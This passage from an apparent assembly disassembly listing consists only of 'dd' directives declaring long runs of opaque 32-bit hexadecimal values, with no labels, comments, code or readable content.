816964FFh, 510A6Bh, 2E1B9h, 0C981192Ah dd 13830FFAh, 0E8FB557Fh, 314FE034h, 0F5BD00ABh, 1B5D1456h dd 3653E918h, 4B10540h, 572EA639h, 22A3AB55h, 1FF3BB03h dd 0D8CA1B1Ah, 7B96DB61h, 6C61CD20h, 58502C19h, 7D2C0DF8h dd 32C46BADh, 692FCEEAh, 639C755Eh, 5A0EE913h, 2312CFEh dd 370BA98Bh, 684A0A82h, 0C5D51526h, 1F8A31C5h, 9AF95170h dd 0E0322E05h, 5E09C0BBh, 5BD0C179h, 0F34AE025h, 4B2E9A8h dd 0E2A2799Dh, 0BB00D622h, 5C166766h, 80713C6Ch, 3CEEDF29h dd 0DFF6E34Ch, 66AD4BC9h, 0B664E023h, 15654A36h, 0B262E0EFh dd 25E8A1Ch, 727668E1h, 0A4C4B668h, 0B7E93057h, 3FF4BF59h dd 50C0B058h, 5A95D9F6h, 0A1F8FC78h, 0A23EBDA3h, 58D89105h dd 70B3015Ah, 0BCE94C9Bh, 7F4C3378h, 5EFEC604h, 6BF48147h dd 0F3FF9607h, 775B8C01h, 802F2526h, 0FB43D34Dh, 220C2F60h dd 0BDF199CFh, 0F4C8D3E8h, 0C48D8F94h, 0E22B9F5Eh, 43E915EFh dd 0FBB85E9Eh, 978021F4h, 31FA2A72h, 6E523CE0h, 20ED4A90h dd 515929CAh, 0D0886390h, 0A08AB94h, 0E581018Ch, 700D1201h dd 0AB9DE20Fh, 4F04F550h, 0DE280342h, 6CC41466h, 2096D884h dd 0ED83451Ah, 0BD5F017Fh, 19EB1790h, 5814302Dh, 1016210Ch dd 2A68703Eh, 0E3984740h, 0EC414441h, 0BF0435ECh, 0A04E2AA2h dd 50B8DB9h, 8549158Ch, 3200C72Eh, 58D5807Ah, 5EDD7D29h dd 2B80A1D9h, 0A6F78EF9h, 0F6041F30h, 105422ABh, 0A8D31483h dd 4801498Eh, 84107F5h, 123E0B61h, 0DD8AEB8Ah, 0BA97D8D0h dd 340B47D1h, 2FC9CD7Fh, 0E72010B5h, 3F081B48h, 3CB01D41h dd 5B5A8C0Dh, 527CF5BDh, 5A2F0C6Ch, 0A8B77AD1h, 1D921390h dd 0B5E6935h, 413824FDh, 0F6FA16D5h, 1921D3BBh, 0A781ADDEh dd 3883B5F1h, 4BFA3C25h, 0F02EACA1h, 6B4006A4h, 0E2729705h dd 0CCAA5B4Ah, 1B5E43E6h, 0F413320h, 2035268Eh, 4D5F882Ah dd 0B7255416h, 93C5A7ABh, 60DCD9AEh, 4881E6F7h, 9F9809D8h dd 22A5B651h, 0F51EB655h, 0B87D5599h, 4A8CD0FAh, 74B94C4Ah dd 8512F0D7h, 0E4F64B45h, 61AEF6C5h, 0F480167Fh, 0E5E121CBh dd 7752023Dh, 0F3400DDEh, 39689287h, 9CCE044Dh, 8254352Bh dd 0E5905749h, 0EF3B086Fh, 47EA80E4h, 17A9BD55h, 0BB225615h dd 0D5458B56h, 11C25D51h, 277954F5h, 19691CF5h, 989CC884h dd 276E3932h, 0F3C4187h, 0F348C76Eh, 465B0BA2h, 5C2D15ACh dd 0D15922E2h, 0E7109724h, 61225F37h, 0AD1B2275h, 75E55218h dd 4A8C06B1h, 0D2D6F75Eh, 891DEF60h, 54515DEBh, 180C8353h dd 0C04CCE07h, 0FB9717AFh, 41A53EFCh, 645472C6h, 722CE9A9h dd 558A6A76h, 9ABE120Dh, 5D1ACBDDh, 0D74D63FAh, 86552C4Fh dd 0C5E46514h, 0C8EBF388h, 754BB740h, 58D776B4h, 2F7BA927h dd 88C6E61Bh, 3F0166D2h, 4833135Dh, 3D3FC16Bh, 0BF5700ABh dd 907C1339h, 44B4EE2Dh, 7E9E3931h, 7147E90Bh, 0DF9DC0E6h dd 4C81E41Eh, 27643B52h, 0F295E00Ch, 45B80BBDh, 65805491h dd 59FD4E1Ah, 55E89CC1h, 0F47B49F6h, 0F80FF159h, 0C6645A0h dd 3956D170h, 5DA5C689h, 9FC58974h, 2D0F2388h, 365FC8BFh dd 449AA18Dh, 2E830907h, 92D1FD08h, 1D4F3BBFh, 0B71A0F03h dd 54D6D421h, 37701CADh, 3E62FE90h, 0F9D44D4Bh, 0BA2C9213h dd 0EEF07269h, 0E9105178h, 749A0C84h, 0C68BC0B3h, 0D9306C98h dd 291A1840h, 0C6861ABh, 604B200Ah, 0C65CD7A9h, 30B4A715h dd 5805FDACh, 0BC024468h, 0EBB4E5E8h, 0C578062Eh, 0B30B810h dd 125B56BFh, 4A4BF6C6h, 61A14BF9h, 0DEFC0456h, 3F597800h dd 16800D67h, 353BE001h, 66888EC0h, 69C2D644h, 55D7B2F0h dd 7D272F47h, 6FA88100h, 595E3FDAh, 88EE7344h, 7ECABA00h dd 427B4332h, 1CB9F07Dh, 82BDC81Ah, 565FF1C8h, 0A4F48147h dd 2A29458Ah, 0C4D1C1A5h, 2CC13834h, 18CF07E3h, 34F631F1h dd 7C88B817h, 0BB535080h, 0A71239A8h, 43DBF70Bh, 0F27D3585h dd 0E1D58BB6h, 0F8395D18h, 3FEF417Fh, 0C24790B0h, 0A759ECDAh dd 0E07E25Eh, 7FD9D977h, 612489D0h, 31A4F730h, 58731981h dd 0EEE15E2Ch, 60EA0745h, 622EFFBh, 59DE7A65h, 2C2C57B1h dd 0CCA20ADh, 3CDD6701h, 4D04E5C1h, 6BC9CE35h, 0A68C0F00h dd 25A41A4Eh, 3D5115B1h, 6E4C9A34h, 0DA370101h, 795AE941h dd 51D3255Ch, 92EA60B8h, 7E180B63h, 0E17CDA01h, 74F53036h dd 19E95674h, 881CD4BAh, 0DEC952D3h, 17728F53h, 0EAFA8504h dd 10A5BA00h, 895F1949h, 6D0419EDh, 0C02C756Bh, 0D61A5F25h dd 0E00C2D61h, 51E014D2h, 4EE97189h, 2F59B1FEh, 20E639EFh dd 84188F6h, 0E4907CF6h, 20CED5FBh, 916B09A2h, 0CDCD6350h dd 43B87109h, 72A28046h, 9D4C551Dh, 0EEC1CD01h, 0E6D3005h dd 13063A10h, 3D8AC4Fh, 1BE64C9Bh, 0C2949A81h, 16636085h dd 8B618211h, 2D0862F9h, 455B5807h, 0F251E4FBh, 20AA885Eh dd 7394E9C1h, 3ABB3CC1h, 78681A19h, 104C6E05h, 45DA0131h dd 40036604h, 0E94B06E3h, 5F362938h, 6DC460B9h, 85C014E0h dd 0F1BC2E4Bh, 0CC6A01C5h, 0AA2D6852h, 41BDB47h, 8066BD2Eh dd 0D771C31Dh, 9F4B1024h, 6156CA13h, 0F11828B3h, 0D78814A6h dd 8C6596EEh, 61AFE74Dh, 6FEF8EBDh, 7BB84644h, 2C04AA12h dd 0C1AAE4EAh, 75D9D77h, 0CFE86039h, 0F23297C7h, 0A03EC4FDh dd 80704D3Dh, 63128C2Dh, 79FC60FDh, 4CF78101h, 7169C122h dd 788C990h, 8481DFB7h, 9247EB5h, 0E98B25FAh, 317F0D62h dd 0DFCE253Eh, 95057446h, 8805B753h, 6FA93681h, 250BF7A4h dd 8BBC2FF1h, 555B58E6h, 0D82845A0h, 0D1B4B1E9h, 80D6073Ah dd 0C1334FF1h, 66E5E9B7h, 17F42A74h, 2538044Ah, 0B894AA44h dd 0A46EE9EFh, 2D7CEF08h, 6D079177h, 8A2B654h, 99AD8B9Fh dd 28758B11h, 0A0EBD28Eh, 29BC797Ch, 1E1C6805h, 0FCE94130h dd 0BB44B61Dh, 93C48DACh, 1ACAAB31h, 16C57D76h, 0B5030873h dd 0FC0804F8h, 0C5C0283h, 9389D157h, 6DA8A1ECh, 0D9F75D35h dd 0BF2A7C2Bh, 0FEFDC40h, 0A010701Eh, 174943F2h, 14F3375h dd 2376DB78h, 1F1ABA64h, 31C5517Bh, 46C05FF9h, 4C1B18D7h dd 9D01AB5Ch, 10F0412h, 27131CAh, 0D7E35908h, 3306739Ah dd 14DC5B91h, 1C203878h, 0B86A0295h, 0F2890F62h, 8F69B6A9h dd 7CB5FD52h, 81591DE6h, 6307CDC2h, 85914194h, 9B743789h dd 922025E6h, 0FC5D4A7Fh, 72F2A793h, 0C1EE7F99h, 6D0D5A90h dd 0D817B538h, 8E3CE57Bh, 0E273050Ch, 58A2E960h, 0CA5D5BBCh dd 0E6E65F6Fh, 9138E9C4h, 6D3668E7h, 3B6413FFh, 0C9DE52F9h dd 67DAA923h, 5E66EC20h, 0EA4AA45Eh, 21F26AC0h, 0A00A425Fh dd 2774F9E4h, 88DF1338h, 0A62B082Dh, 0F2982834h, 0BE294022h dd 2AB3025Eh, 0AC98174Ah, 0ACAFF4AEh, 2C8CC501h, 0B8CBCC20h dd 5E47092Ah, 0EC81D3F7h, 2EEC335Bh, 0FE083FC2h, 0ADD64F92h dd 100293D7h, 6C3C9168h, 7869BF9Dh, 40C6D329h, 44D3320h dd 0F11EAFBAh, 0CC5BFE4Eh, 0E8F5B242h, 0B3C6F54h, 0F8E902A6h dd 556E1255h, 7A22532Ch, 5EB56817h, 7887A81Ah, 0C0DD4AF9h dd 0DEBA66D2h, 25DB355Ch, 7514D5D1h, 1AC2F7FAh, 5F1E4868h dd 0F5F02A52h, 5E7EBA7Fh, 494D78B5h, 0BF244DB9h, 8C70A99h dd 0A30E3ED1h, 0B684F738h, 0C504B93Ah, 2493DF68h, 2D10A3E9h dd 5C04E0Ah, 14BDEB2Eh, 0BFC098C1h, 28B946F8h, 0EF840543h dd 4FE9E29Fh dd 0B094DF37h, 0C04F1FF8h, 7B9442ACh, 5C95BD4Eh, 0AE5E1A16h dd 3E940520h, 5AEC0BABh, 0F8519410h, 46BAF183h, 55109166h dd 36B80056h, 4057172Bh, 1A8D480Fh, 297C3362h, 0A74B5509h dd 3ABCDAD1h, 871649ADh, 5BFBFC0Ah, 148BF6A9h, 53B75478h dd 4F3501F6h, 609DCEA6h, 0FEB05261h, 2F5B7F3Fh, 0DD70E275h dd 0BA873AE5h, 606B44B9h, 3B2145F0h, 0CA00F990h, 3B0D0E2Dh dd 352F860Fh, 683ECA01h, 545A687Ch, 1512562h, 0F2B7D1B1h dd 0DC59CF28h, 0C1BD30DEh, 0DFF2C341h, 59EBC087h, 0FBF593C2h dd 936841C5h, 0C48E3817h, 0CA1570D1h, 18E8C182h, 83208EF8h dd 1F0E0B4h, 0C05A4E04h, 0D1FE03E0h, 73A3202Ch, 0C8422D41h dd 0A4F5093Ah, 3BB02952h, 9B481208h, 60490219h, 0C8E07946h dd 0C1822E8Dh, 0C0757D3Ah, 5B9D1C60h, 0D0794127h, 7B18B135h dd 8400EFCh, 0BE09F5Bh, 5808DA8h, 3216046Eh, 85595009h dd 3E85A886h, 384A85BFh, 36C24F70h, 2D8E7E08h, 0DCC2F85Ch dd 0E88A108Eh, 1918B875h, 0E6B20E24h, 9A41D6Fh, 2CEB429h dd 0E7E95808h, 0D482216Ah, 0B49031C2h, 285D49B6h, 0F6E90B32h dd 0CCB7CBE7h, 0ADD2F7ACh, 0BE11506Bh, 0D8414427h, 62060123h dd 16E91BA9h, 0B9328183h, 33526348h, 0FF60B4ADh, 0D7B85055h dd 79C22C26h, 5D0B7F18h, 58C51631h, 4390AB29h, 0A88CEAE9h dd 81D9CED4h, 61F27E59h, 4F60BEB5h, 5B2951E6h, 505EB835h dd 2CC0875Bh, 0EDC0CDFEh, 0D1609D08h, 0D55020F4h, 48F68080h dd 4105F5E6h, 6E9E828h, 44222D3h, 1315527Ah, 62C9012Dh dd 20255A8Ah, 3364EB3Ah, 5296E82h, 0F6A2AA5Fh, 0BBADDA84h dd 0DBA1E4A8h, 0DCF601D1h, 60271530h, 0F4801C8Fh, 396BE9BCh dd 256DDEC5h, 1914D75h, 0CD5745EBh, 10BB3B44h, 5D3F0826h dd 0E2F6B5F7h, 251AC57Ah, 10D8E477h, 722B3B84h, 84BA774Ah dd 4A19E645h, 5F9C79E4h, 0BB9B255Bh, 549493CBh, 51DE8227h dd 4A3F6878h, 81256528h, 24D81215h, 66B5B45Bh, 5ACFF011h dd 8248A65Fh, 0F7D4AAE9h, 9713FDA4h, 624EB256h, 16BFE6D1h dd 0F1AD3604h, 0BDF31393h, 9E094E11h, 891EF405h, 3250D6E9h dd 0E476F9B5h, 1EB6B3DFh, 0E9453158h, 7E018DE5h, 0BAD26954h dd 0B05B2C92h, 97757B91h, 44D7212Ch, 0C54B2D10h, 0A485BF4Bh dd 7846E2EAh, 0ACB7F9B7h, 0DF6F09C3h, 0B69E6656h, 1074FB0Ch dd 447D02B8h, 0E8D176DEh, 8262340h, 7C1FC427h, 97050195h dd 0D401A92Eh, 0D9006CCEh, 20292D7Ah, 4EE923A6h, 0A8758553h dd 9BE74A08h, 0F6F1F48h, 0ADCE8F85h, 0F00332A4h, 0F028020Eh dd 6859C040h, 9867B225h, 39808C98h, 0F289C4CAh, 0CC7C2862h dd 0AA67AB0Ah, 6073B362h, 0BD34DA6Ch, 0AD202964h, 880F16FCh dd 0C6FD20D9h, 0BD5057FAh, 9FBC9FFFh, 0B838C623h, 13285819h dd 0FB444D6Dh, 74AD6468h, 4F394C81h, 87CC4008h, 0E27CE51h dd 761DE009h, 97FD9261h, 0BB022571h, 5E5B3755h, 0D8A4390Dh dd 0BF005AE0h, 0C8693205h, 800F1905h, 56AB22A8h, 6BEA0BE6h dd 36DDD9E2h, 0A539A5F9h, 84CB1257h, 2BE82633h, 7838AE5Ah dd 0E839542Fh, 5F57EECEh, 311D9947h, 0CAC6A6Fh, 8A85E90Eh dd 0EA55121Ch, 0F46FE6C9h, 3E34EBFAh, 4382465Eh, 0B7DC5555h dd 0AD455CADh, 3AD8589Ah, 0E5E769A0h, 0E93AD305h, 0B2EE98C9h dd 2D88D03Ch, 4D98DDECh, 0C9BF2A51h, 0FD7F8DB9h, 16A506D3h dd 1A41160h, 3A35CE2h, 0E293E950h, 685011DEh, 33C6951Bh dd 0FB75CB95h, 0C77B1338h, 0D608FD7Fh, 0D84BA2B8h, 5F59FA7Fh dd 6B12964Eh, 612124E1h, 0DC2ABE3Eh, 0A724366Fh, 3BA544h dd 6BE168D3h, 0A7B92AE1h, 0D50FE985h, 603C0E28h, 0A350142Ch dd 0E291E8BDh, 8ED55C88h, 8006ED02h, 0E751CE5h, 1FC5C04Dh dd 0B52D4CE9h, 5744B0FBh, 873A47A1h, 0E0261F05h, 0DA77EF15h dd 6BCA3055h, 0B12FEEEDh, 41EBBCD2h, 48DF1BAh, 11C7C600h dd 5CD15CBEh, 2324E1EBh, 8BFFAF69h, 69CF7529h, 89F5BA81h dd 0FA2F90BFh, 0B10E4A2Dh, 0EF4EEC3Eh, 26E91DD8h, 84182A7Fh dd 0EC39DB85h, 7C0E9318h, 0E2D95833h, 8D40B774h, 1883CDD2h dd 219788D6h, 82430EFh, 330842FCh, 0D2F182B3h, 84DF682Ah dd 13EFD467h, 2C61AE54h, 51500CF8h, 0BF213868h, 0D408B918h dd 0AEEF37C0h, 90480B4Eh, 6E3A2EAh, 0B0E5B08h, 31731B84h dd 46E5C8F8h, 0D8161C08h, 0DE200971h, 0AADD99E9h, 655CC0E9h dd 0E1A2BD5Eh, 8209AC73h, 776938CCh, 0DBA085E5h, 0DFBBFF4Bh dd 815C2707h, 0B058E915h, 0B64071AFh, 0B1160760h, 0E60B5F0Eh dd 96F0D828h, 1B6152C0h, 2F20320Ah, 5958E1EAh, 4F3A83Eh dd 2B4D7FC2h, 6E0A35C4h, 0FD61B4A6h, 0D9CB0C02h, 0D82E6772h dd 1459462h, 84EF343Bh, 25AEB86Fh, 4022565Fh, 409D32BBh dd 14D1012Fh, 0DB22C075h, 53127229h, 650013B8h, 4654F455h dd 168DCE81h, 915F973h, 96293A4Bh, 5762C6D9h, 0C5B32660h dd 22AF595Fh, 6F6A7B41h, 0BF5A4CDFh, 570B39CCh, 0D7536EE9h dd 0EDECA99Ch, 9551AF3Dh, 40A20125h, 0C234E908h, 1AC29DD2h dd 9737700Eh, 0F198443Ch, 0A5A96D58h, 4038AF82h, 0C952B8ABh dd 6E01623Bh, 0F4371A32h, 0E4601583h, 4CBFE839h, 0BDD34F67h dd 3E13100Bh, 0CC30B71Dh, 0B50EF227h, 0EA884407h, 64318059h dd 0DA44FE52h, 8E26D81h, 5FDA9AEFh, 28EE9983h, 445867D7h dd 0C2B1EFD3h, 68096E39h, 35C60E4Eh, 6CB6692Dh, 0CD815B11h dd 12A4E017h, 13532C94h, 0FDF9E951h, 0F8EA3E14h, 0D1B78EFEh dd 68C6CF79h, 0BF0B2C23h, 0DDE602F5h, 43474C00h, 0F75C5E1Ah dd 0E3B57DF6h, 0DA404E16h, 40D14B31h, 0C004C8E0h, 1A0530D4h dd 8E26727Bh, 8B9F6F61h, 3C7F2CD9h, 89173DF7h, 69B5872Ch dd 0A9133A84h, 0F668C272h, 605DDE41h, 2A9C011Bh, 10E57297h dd 487A3A8Bh, 93F54F6Dh, 0BFD05335h, 951578E8h, 5FFA157Ah dd 0BEE45497h, 0BD403BAFh, 0F79522DDh, 13437912h, 53CB8D03h dd 0DA0D181Bh, 9D10D0B8h, 0FD25E795h, 0B870FAECh, 20AD2E16h dd 80402FBCh, 0E2CC5B58h, 883B84A8h, 0FCBE01D4h, 0A18D8D67h dd 95B6E2D4h, 35C0D35Eh, 252C3287h, 72652155h, 0EEA074ACh dd 58ED6839h, 0ABA8DEE4h, 45025F5Eh, 60DBF005h, 31E9FA95h dd 0B32A1660h, 2FD8C1C5h, 0BC5FCBE6h, 70E57D1Dh, 0E9164FF8h dd 80B262ABh, 78F0EB02h, 4A60318Bh, 0CA102607h, 3B3A4E19h dd 10DB893h, 372AD5DEh, 7532AD56h, 2DF7B0Bh, 23978B5h dd 0A360C183h, 0F4BF9542h, 536687D6h, 0D16CB252h, 1AD5954h dd 5E2AFABDh, 2F16093Ah, 0FD87807Eh, 0C9C0E23h, 985CB07Ch dd 8AD72733h, 462DA666h, 0A59D5B6Bh, 567535EAh, 6D12C08Ch dd 0CEF0759Ch, 0F75F597Bh, 8C012529h, 57024839h, 37ED4840h dd 1DC645E9h, 2D5C0F44h, 860A478Ah, 0A5D33C7h, 544FEF1Fh dd 52ECFDE5h, 7EC070A2h, 588185EDh, 0BB4B2C62h, 2FBAFE85h dd 0F0E9093Fh, 41297A7Ah, 1E87F63h, 0EA803684h, 413F048Ch dd 0BBB870CCh, 2F93330Bh, 1FE055C2h, 0AD2DE9D9h, 6BE454E5h dd 5BDAA4FDh, 550A00AAh, 0E9223817h, 0E60F9025h, 45210413h dd 0C14E1142h, 6E309BDFh, 8A8165B9h, 6ED889C7h, 6358FB9Ah dd 55097156h, 68AEE7E9h, 9E6287ABh, 287D65FFh, 3E0D4178h dd 13FBB284h, 0A43EACE4h, 0E95242FBh, 3EC67CCEh, 3E5F2FF0h dd 5F0BA7D8h, 0C175AA71h, 98649AA8h, 2865A0FBh, 3871D15Ch dd 18F933C3h, 0E6B11040h dd 98543DA0h, 8617DE19h, 80828220h, 8705E138h, 0D706E11Ah dd 0C7F7E9E2h, 0BF923F49h, 2728EE74h, 0F6324A90h, 0AA044EC0h dd 79B62261h, 487B7910h, 0E5180782h, 0A2B4ED6Eh, 0A2E89C94h dd 2C28BE5Bh, 1B489D5Ah, 8DC942EBh, 27405385h, 805BC6C4h dd 0BBD3C85h, 27372B4Bh, 0E9732101h, 282F08D6h, 0D94BFF98h dd 9D608FC9h, 0BE3C165Ch, 50C2B825h, 752D6808h, 2CBF062h dd 0D4647EC1h, 0F0DDBD55h, 45E92E87h, 31AD8471h, 13E6BED8h dd 0DC23D025h, 50C116EDh, 0C4B32AA8h, 0EFF6622Ch, 0EDF6D924h dd 0ED6010B9h, 1C30EE4Eh, 17E5C981h, 40DC036h, 0EB5DB65Fh dd 8B074AB6h, 0A0E88AF1h, 0E454F5C2h, 8EED034Ah, 1C820841h dd 5A746C19h, 81A513C5h, 3007684Ah, 10F0322Ah, 0B816B4D4h dd 0F865C4AFh, 3B5B3F8Dh, 981CC94Fh, 99D67BC4h, 6E32BCA2h dd 0C1F55BD5h, 0B76CB548h, 4B226809h, 0DD646456h, 5E33E8C2h dd 7E3D607Bh, 0D09777AEh, 0BEF6D3E2h, 0E91792DFh, 51A1C295h dd 595961F4h, 5892E020h, 0C80A5E7h, 0C12E2369h, 102BE05Dh dd 0AD5F8830h, 6B8187D0h, 0B8054008h, 543F140Bh, 168C8B40h dd 52EAF4C6h, 1DCD309h, 0D79B77EBh, 0D31DCBCh, 0F32A50Bh dd 0E3C0F76Ah, 0ABD2EC68h, 3BDE4E0Ch, 3BE84C21h, 9D7FFD3Fh dd 0D9520F54h, 9D56B05h, 0D8657796h, 829497BFh, 0CADEBEBDh dd 0BB9C632Eh, 403E8424h, 2DD62CF6h, 0C5121C5Ah, 0D3B71CABh dd 2B1FB0F5h, 44434117h, 134BC4FBh, 9256B208h, 4F620AE4h dd 0DE0DA964h, 16454CCCh, 5A529FBBh, 0ADF86995h, 746F1335h dd 255EF835h, 25FE5A2Dh, 0EC55A839h, 0D801A197h, 835C00FEh dd 0E99702C3h, 0B57A1E5Fh, 23732071h, 7CC86C13h, 30FD5AB1h dd 0F14E1B3Ch, 0C3E02416h, 0B1515800h, 8BB2527Fh, 78EA0C80h dd 0DD0AD2F6h, 612C2F0h, 7E41A4E9h, 0FC6A8BBBh, 7998B03Eh dd 0A0039517h, 172385FEh, 59DEB3AFh, 823F592Ch, 54782CE9h dd 0E8A41DBh, 21992979h, 81559F45h, 0D1C7B7EBh, 207B61EFh dd 9397167h, 56EF5EB6h, 0FA3B0559h, 85AD801Ah, 0DF027086h dd 3CE9EF31h, 0B85C57C9h, 0E2D190C4h, 0EC3FD031h, 28FED726h dd 61401599h, 0E48F5C66h, 0D41D2712h, 1049BE18h, 8BFCF15Dh dd 0B1C1C2E9h, 82A7DB80h, 0F776E0A7h, 0DFD25A9Ch, 144AC08h dd 0E35D3BBAh, 5C07300Bh, 80950AF6h, 0D8230D2Dh, 8042B7BFh dd 14CC487Dh, 13C9F645h, 0A4896BE9h, 0EDA081CFh, 122D6D69h dd 12BA585Dh, 0FA5F9517h, 5B08F507h, 0CDAB4C55h, 0A8110430h dd 71FF972Eh, 811CB0ADh, 6F68BDA6h, 93E84E97h, 547CBFBAh dd 9B7569h, 32FB314Bh, 65F089DEh, 6EDEF697h, 0C549BBB3h dd 0D6A05DA3h, 4AF8DCF1h, 0CD09CB12h, 0DCF73909h, 1E6E63EBh dd 72EF2B27h, 15C59C79h, 3D4ABA7Ah, 52F96FF8h, 402D95D4h dd 0B316D144h, 21096608h, 28AC592Ah, 6679E19Bh, 0A4EEE909h dd 0F67EECF5h, 0BF2C4A7Eh, 25501661h, 0A0D58C7Bh, 0AF4B6A43h dd 58B74349h, 56040236h, 209A685Bh, 0B35339A0h, 0CB48FE77h dd 80C803D1h, 0C428DFC1h, 853D2C83h, 4FB0E7ABh, 1A35C580h dd 22EB2738h, 15711050h, 0B6F0FD4Bh, 669A2DE9h, 0D1627F54h dd 0A519C9CFh, 5108CAE4h, 707D529h, 0ED1A0AC0h, 20DCB846h dd 5B094497h, 0FF8C2C58h, 0D193660Eh, 6E5AE913h, 0A413BEC4h dd 1A0CBFAh, 45EB5901h, 2A38E9C1h, 0ACD98113h, 82D6A17Fh dd 0D220D34Dh, 5BC7E6CAh, 6E548802h, 2E68FD40h, 72B03035h dd 69669180h, 12C0E12h, 7D0273D9h, 0C125316Ah, 0FE058CCFh dd 188A13E2h, 39B99495h, 94F2A4Ch, 457F2975h, 647FA7DCh dd 43F3B6EEh, 12055BDEh, 501779Fh, 94FB0594h, 0FF0B095Bh dd 65A6D15Fh, 0C442F357h, 11142168h, 0E16A53Ch, 0ADE495BCh dd 26816BBh, 6069EDB6h, 4DC4375h, 12E95E75h, 17D9B971h dd 3FE942D3h, 34953E84h, 5AFFFF85h, 0A1FF0CCEh, 0C219E9DAh dd 0C831288Bh, 6E632BF1h, 0EDA30E76h, 6FC7BFA7h, 0E4687C55h dd 26EB5031h, 0A8043FC0h, 93C1B49Ch, 4781570Ah, 2674F9C3h dd 0FDF3D866h, 0E1DB7E17h, 878F3804h, 5BA7550Bh, 0EB5D0501h dd 31E9A1CCh, 0DC9969F7h, 66800B1h, 14EC9F1Ch, 1B059808h dd 8FAA0138h, 0D8C12094h, 752DE908h, 0EE847253h, 0AA7B4A44h dd 2B57084Fh, 0B9B5E1D7h, 80C9BD2Eh, 4F413D9Eh, 414C4601h dd 5BCF260Ch, 27280BF1h, 0ABCDE9B0h, 970F86A4h, 6D3B5B5Ch dd 0E5EC7938h, 0F01501ADh, 468F0F3Eh, 0ED19813Dh, 0BC0DFA67h dd 75BA460h, 88094D41h, 382D60C6h, 704CD816h, 39D28C56h dd 123FEB68h, 0BC6CAF81h, 0B8500253h, 67F47844h, 8209A284h dd 85CBA977h, 813DC0B5h, 7C75D0CBh, 0D9DF40FFh, 194BFB7Dh dd 0BA17FBB8h, 3796EB7Ah, 632417B0h, 1045F8ADh, 5D255239h dd 55CAF3F6h, 80046710h, 0FB5968C6h, 7288A1A0h, 0ADE55CDCh dd 0A92C6978h, 9410358Ah, 542FD852h, 0DBE8D76Bh, 3576736Ch dd 1D14C971h, 0C43384h, 5B0D6DA4h, 3A2B8905h, 26807D9Dh dd 29139864h, 7A32DC8h, 59110CADh, 8041116Ch, 6E95EA31h dd 8812D306h, 53420BEEh, 668BC5DCh, 0E1737459h, 731DC268h dd 0F3512492h, 2DAFF512h, 2C95F534h, 7F65E05h, 1EC65A10h dd 0EEAEC148h, 246E273Ah, 8CBA6CCBh, 0F20E2D9Dh, 0A16F210Ch dd 3DA24328h, 7EDB13Eh, 27115A07h, 9EF15FDh, 36FE565Ch dd 91D73C1h, 2A47A12Ah, 0A6675DE6h, 0E946B1F7h, 0CC007B7Dh dd 1FE2815Ch, 64A4251Dh, 6679A560h, 0EBFA7E77h, 0D329BF12h dd 2EBDEC04h, 92C72712h, 26C86917h, 351F5BD8h, 4E567FA9h dd 973F3F04h, 0BC80E907h, 6D40B30Bh, 84ACB08Ah, 970473C9h dd 84BFA4E3h, 85748452h, 7A8CB16Ah, 707C48A8h, 5C958420h dd 685A78FEh, 0D2FD2D5Eh, 4A864B10h, 680BEEB3h, 0AB15C50h dd 75E8C1E9h, 9CFB2044h, 80D1F605h, 11C28DC9h, 0D4C2FFD2h dd 0D976BB57h, 0DD8B423Fh, 8AE417C2h, 0FA6BD8FAh, 88095C10h dd 283A72F6h, 0C9BD90D9h, 0D960FEBCh, 74834F57h, 9393FD52h dd 904439FBh, 0AC5EEA82h, 0EEEC4F76h, 0F4E6A207h, 7513F261h dd 0EB884A5Ch, 0FA010199h, 2F108768h, 71F518Ch, 0F7283102h dd 40EAFED8h, 4D3F89A1h, 0F855DE12h, 6231B02Eh, 0C58816D5h dd 49EE7C5Fh, 7A276079h, 5AD2BF27h, 2849E8B7h, 40D78269h dd 59C77F61h, 4148CF6Bh, 34DE1916h, 638BAF89h, 4E5FF010h dd 0FB7BC5BAh, 56987EA7h, 6794B954h, 2EADDEE9h, 2F808B85h dd 8B9C8E14h, 0A50C435Bh, 3D12BE4Eh, 28EFC601h, 97F6F5Dh dd 0ADC008A8h, 305AA1B5h, 508214ADh, 0D7EBCB0h, 0D4E91D07h dd 0E3C10448h, 7BF48003h, 0CE7E6A6Fh, 68477325h, 0A9561F89h dd 84F5E6D9h, 0AE4E986Ch, 0EA217A9Bh, 0EB8215AEh, 0D544E770h dd 386433C1h, 38BB181Eh, 4AB36837h, 654A8C04h, 0DE160748h dd 7008F0D2h, 68D62540h, 799AA208h, 0ADF5D2E9h, 616EA084h dd 9359E4A9h, 42AEEB39h, 7B8D68B8h, 5B8306F1h, 4E298416h dd 573F4BAEh, 0C084B0F7h, 0FFB090Dh, 0AF7FE6C1h, 734D82B8h dd 89C98909h, 8E127CFEh, 0FB925350h, 8E49B31Fh, 0C291512Ch dd 47E1EB01h, 0C6A581FCh, 2942788Dh, 4DEEED8h, 685D0740h dd 0A830AE66h, 26EDCFBAh, 162CCC6Eh, 2139BE3Ah, 96E1BF9h dd 8EF555AFh, 20EB8421h, 0C0A384BAh, 426D74CDh, 6F50E0BDh dd 6563371Fh, 303F20D8h, 0E249D121h, 35EF00F8h, 69E9FC03h dd 0F7D8835Bh, 6486475h dd 97F93E90h, 0A6B2540Dh, 3FE812B1h, 0B1490EF7h, 0DCEA6814h dd 0AA57288Fh, 0E0E9A829h, 0EBBC906Fh, 2D512521h, 0EAD62AF8h dd 5A671F6Ah, 27E9844Ah, 2430AE7Ch, 0CF71A568h, 2D30DD61h dd 0FEBAD55Ah, 8029F07Dh, 2F077586h, 0EFDA4620h, 30016698h dd 0E93E8D0Bh, 0DD486A7Bh, 3A401788h, 0A6360044h, 1254E24h dd 406CF14Ch, 5B6F5E08h, 8D2B4D8Fh, 9F59653Ch, 5E683910h dd 9CCD47ABh, 0F757003Bh, 5F32E9DBh, 0C0423459h, 9D50292Ah dd 3BC6BF48h, 720D4C10h, 0B8329717h, 220C9E72h, 5D158B5h dd 0EB840FEDh, 27CBBD2Bh, 5093F45Bh, 7397519Bh, 6ED6A56Fh dd 4147D42h, 0BC53805Ah, 464FDA43h, 0E6C74AACh, 6FAE123Eh dd 0CC37807Fh, 0B86AFC79h, 39685F65h, 0F3A82B76h, 0AE466DC5h dd 1660F73Dh, 30404E10h, 0FF46E51Ch, 21BE2E04h, 0BC814BD9h dd 1056BB8h, 4114BBC7h, 0D54D7004h, 7E3309BFh, 50BEEF3Ah dd 4F680A69h, 0B780302Ch, 0E9C7FE8Eh, 0B7B3B266h, 0A5CFEC7Eh dd 0F4FB3E43h, 8D4A3533h, 37C78CFAh, 0F6A1303Ah, 0FD2D9C96h dd 0F8CEFC0Ch, 1B413BF1h, 0EBD7338h, 80631120h, 0BDA83CD3h dd 